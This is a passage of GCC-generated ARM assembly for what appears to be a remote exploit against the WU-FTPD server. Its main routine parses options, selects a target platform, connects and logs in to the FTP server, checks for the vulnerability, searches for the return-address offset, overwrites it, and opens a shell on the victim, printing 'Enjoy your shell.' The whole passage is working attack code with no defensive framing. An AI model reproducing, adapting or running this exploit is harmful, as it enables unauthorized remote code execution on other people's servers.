	.ascii	"Selected platform: %s with WUFTPD %s\012\012\000"
	.align	2
.LC49:
	.ascii	"Connection to %s failed.\012\000"
	.align	2
.LC50:
	.ascii	"Connected to %s. Trying to log in.\012\000"
	.align	2
.LC51:
	.ascii	"Logging in to %s (%s) failed.\012\000"
	.align	2
.LC52:
	.ascii	"Logged in as %s. Checking vulnerability.\012\000"
	.align	2
.LC53:
	.ascii	"Sorry, this version isn't vulnerable or uses intern"
	.ascii	"al vsnprintf().\012\000"
	.align	2
.LC54:
	.ascii	"Ok, trying to find offset (initial: %d)\012\000"
	.align	2
.LC55:
	.ascii	"\012Error finding offset. Adjust align.\012\000"
	.align	2
.LC56:
	.ascii	"Error overwriting RET addr.\012\000"
	.align	2
.LC57:
	.ascii	"Wait up to few minutes for reply. It depends on vic"
	.ascii	"tim's CPU speed.\012Enjoy your shell.\012\000"
	.align	2
.LC58:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16448
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #16384
	sub	sp, sp, #84
	sub	r3, fp, #16384
	sub	r3, r3, #12
	str	r0, [r3, #-60]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	str	r1, [r3, #-64]
	ldr	r3, .L133
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-40]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-40]
	str	r3, [r2, #-44]
	ldr	r2, .L133+4
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-44]
	str	r3, [r2]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r2, .L133+8
	str	r2, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	mvn	r3, #0
	str	r3, [r2, #-52]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #21
	str	r3, [r2, #-48]
	b	.L114
.L122:
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-32]
	and	r3, r3, #255
	sub	r3, r3, #102
	cmp	r3, #14
	ldrls	pc, [pc, r3, asl #2]
	b	.L115
.L117:
	.word	.L121
	.word	.L115
	.word	.L115
	.word	.L115
	.word	.L115
	.word	.L115
	.word	.L120
	.word	.L115
	.word	.L115
	.word	.L119
	.word	.L115
	.word	.L115
	.word	.L115
	.word	.L118
	.word	.L116
.L120:
	ldr	r3, .L133+12
	ldr	r2, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r2
	mov	r0, r3
	bl	strcpy
	b	.L114
.L116:
	ldr	r3, .L133+12
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r4, r2
	mov	r0, r3
	bl	atoi
	str	r0, [r4, #-52]
	b	.L114
.L119:
	ldr	r3, .L133+12
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r4, r2
	mov	r0, r3
	bl	atoi
	str	r0, [r4, #-48]
	b	.L114
.L121:
	ldr	r3, .L133+12
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r4, r2
	mov	r0, r3
	bl	atoi
	str	r0, [r4, #-44]
	b	.L114
.L118:
	ldr	r3, .L133+12
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r4, r2
	mov	r0, r3
	bl	atoi
	str	r0, [r4, #-40]
	b	.L114
.L115:
	ldr	r0, .L133+16
	bl	puts
	mov	r0, #0
	bl	exit
.L114:
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r2, .L133+20
	ldr	r1, [r1, #-64]
	ldr	r0, [r3, #-60]
	bl	getopt
	str	r0, [r4, #-32]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-32]
	cmn	r3, #1
	bne	.L122
	ldr	r3, .L133+24
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r1, r2
	sub	r2, fp, #16384
	sub	r2, r2, #12
	ldr	r2, [r2, #-60]
	sub	r3, r2, r3
	str	r3, [r1, #-60]
	ldr	r3, .L133+24
	ldr	r3, [r3]
	lsl	r3, r3, #2
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r1, r2
	sub	r2, fp, #16384
	sub	r2, r2, #12
	ldr	r2, [r2, #-64]
	add	r3, r2, r3
	str	r3, [r1, #-64]
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #44
	mov	r1, #1
	ldr	r0, .L133+32
	bl	fwrite
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	cmp	r3, #0
	bge	.L123
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L133+36
	bl	fwrite
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-36]
	b	.L124
.L125:
	ldr	r3, .L133+28
	ldr	r0, [r3]
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	ldr	r1, [r2, r3, lsl #5]
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r2, [r3, #4]
	ldr	ip, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	lsl	r3, r3, #5
	add	r3, ip, r3
	ldr	r3, [r3, #20]
	mov	lr, r3
	ldr	ip, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	lsl	r3, r3, #5
	add	r3, ip, r3
	ldr	r3, [r3, #24]
	sub	ip, fp, #16384
	sub	ip, ip, #12
	str	r3, [sp, #8]
	str	lr, [sp, #4]
	str	r2, [sp]
	mov	r3, r1
	ldr	r2, [ip, #-36]
	ldr	r1, .L133+44
	bl	fprintf
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	add	r3, r3, #1
	str	r3, [r2, #-36]
.L124:
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-36]
	ldr	r3, [r2, r3, lsl #5]
	cmp	r3, #0
	bne	.L125
	mov	r0, #0
	bl	exit
.L123:
	ldr	r3, .L133+28
	ldr	r0, [r3]
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	ldr	r2, [r2, r3, lsl #5]
	ldr	r1, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r1, r3
	ldr	r3, [r3, #4]
	ldr	r1, .L133+48
	bl	fprintf
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #16]
	str	r3, [r1, #-28]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #12]
	str	r3, [r1, #-24]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #20]
	str	r3, [r1, #-20]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #24]
	str	r3, [r1, #-16]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r2, [r2, #-16]
	ldr	r3, [r3, #-40]
	add	r3, r2, r3
	str	r3, [r1, #-16]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r2, [r2, #-20]
	ldr	r3, [r3, #-44]
	add	r3, r2, r3
	str	r3, [r1, #-20]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-60]
	cmp	r3, #1
	beq	.L126
	ldr	r0, .L133+16
	bl	puts
	mov	r0, #0
	bl	exit
.L126:
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r0, [r3, #-52]
	bl	putshell
	mov	r2, r0
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r2
	mov	r0, r3
	bl	strcpy
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	mov	r4, r2
	sub	r2, fp, #16384
	sub	r2, r2, #12
	ldr	r1, [r2, #-48]
	mov	r0, r3
	bl	connecttoftp
	str	r0, [r4, #-12]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-12]
	cmp	r3, #0
	bge	.L127
	ldr	r3, .L133+28
	ldr	r0, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r1, .L133+52
	bl	fprintf
	mov	r0, #1
	bl	exit
.L127:
	ldr	r3, .L133+28
	ldr	r0, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r1, .L133+56
	bl	fprintf
	sub	r2, fp, #8192
	sub	r2, r2, #12
	sub	r2, r2, #4
	sub	r3, fp, #16384
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r2
	mov	r0, r3
	bl	logintoftp
	mov	r3, r0
	cmp	r3, #0
	bge	.L128
	ldr	r3, .L133+28
	ldr	r0, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	ldr	r2, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r1, .L133+60
	bl	fprintf
	mov	r0, #1
	bl	exit
.L128:
	ldr	r3, .L133+28
	ldr	r0, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, r3
	ldr	r1, .L133+64
	bl	fprintf
	ldr	r2, .L133+40
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-52]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #28]
	mov	r0, r3
	bl	sleep
	bl	checkvuln
	mov	r3, r0
	cmp	r3, #0
	bge	.L129
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #67
	mov	r1, #1
	ldr	r0, .L133+68
	bl	fwrite
	mov	r0, #1
	bl	exit
.L129:
	ldr	r3, .L133+28
	ldr	r3, [r3]
	sub	r2, fp, #16384
	sub	r2, r2, #12
	ldr	r2, [r2, #-28]
	ldr	r1, .L133+72
	mov	r0, r3
	bl	fprintf
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r1, [r2, #-24]
	ldr	r0, [r3, #-28]
	bl	findeip
	str	r0, [r4, #-8]
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-8]
	cmp	r3, #0
	bge	.L130
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #37
	mov	r1, #1
	ldr	r0, .L133+76
	bl	fwrite
	mov	r0, #1
	bl	exit
.L130:
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	ip, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	mov	r0, r3
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r3, [r3, #-28]
	str	r3, [sp]
	ldr	r3, [ip, #-16]
	ldr	r2, [r2, #-24]
	ldr	r1, [r1, #-8]
	ldr	r0, [r0, #-20]
	bl	overwrite
	mov	r3, r0
	cmp	r3, #0
	bge	.L131
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #28
	mov	r1, #1
	ldr	r0, .L133+80
	bl	fwrite
	mov	r0, #1
	bl	exit
.L131:
	ldr	r3, .L133+28
	ldr	r3, [r3]
	mov	r2, #86
	mov	r1, #1
	ldr	r0, .L133+84
	bl	fwrite
	sub	r3, fp, #16384
	sub	r3, r3, #12
	ldr	r0, [r3, #-12]
	bl	sh
	mov	r0, #0
	bl	exit
.L134:
	.align	2
.L133:
	.word	.LC58
	.word	opterr
	.word	7369830
	.word	optarg
	.word	usage
	.word	.LC44
	.word	optind
	.word	stderr
	.word	.LC45
	.word	.LC46
	.word	targ
	.word	.LC47
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	.LC51
	.word	.LC52
	.word	.LC53
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.size	main, .-main
	.local	buf.6659
	.comm	buf.6659,400,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
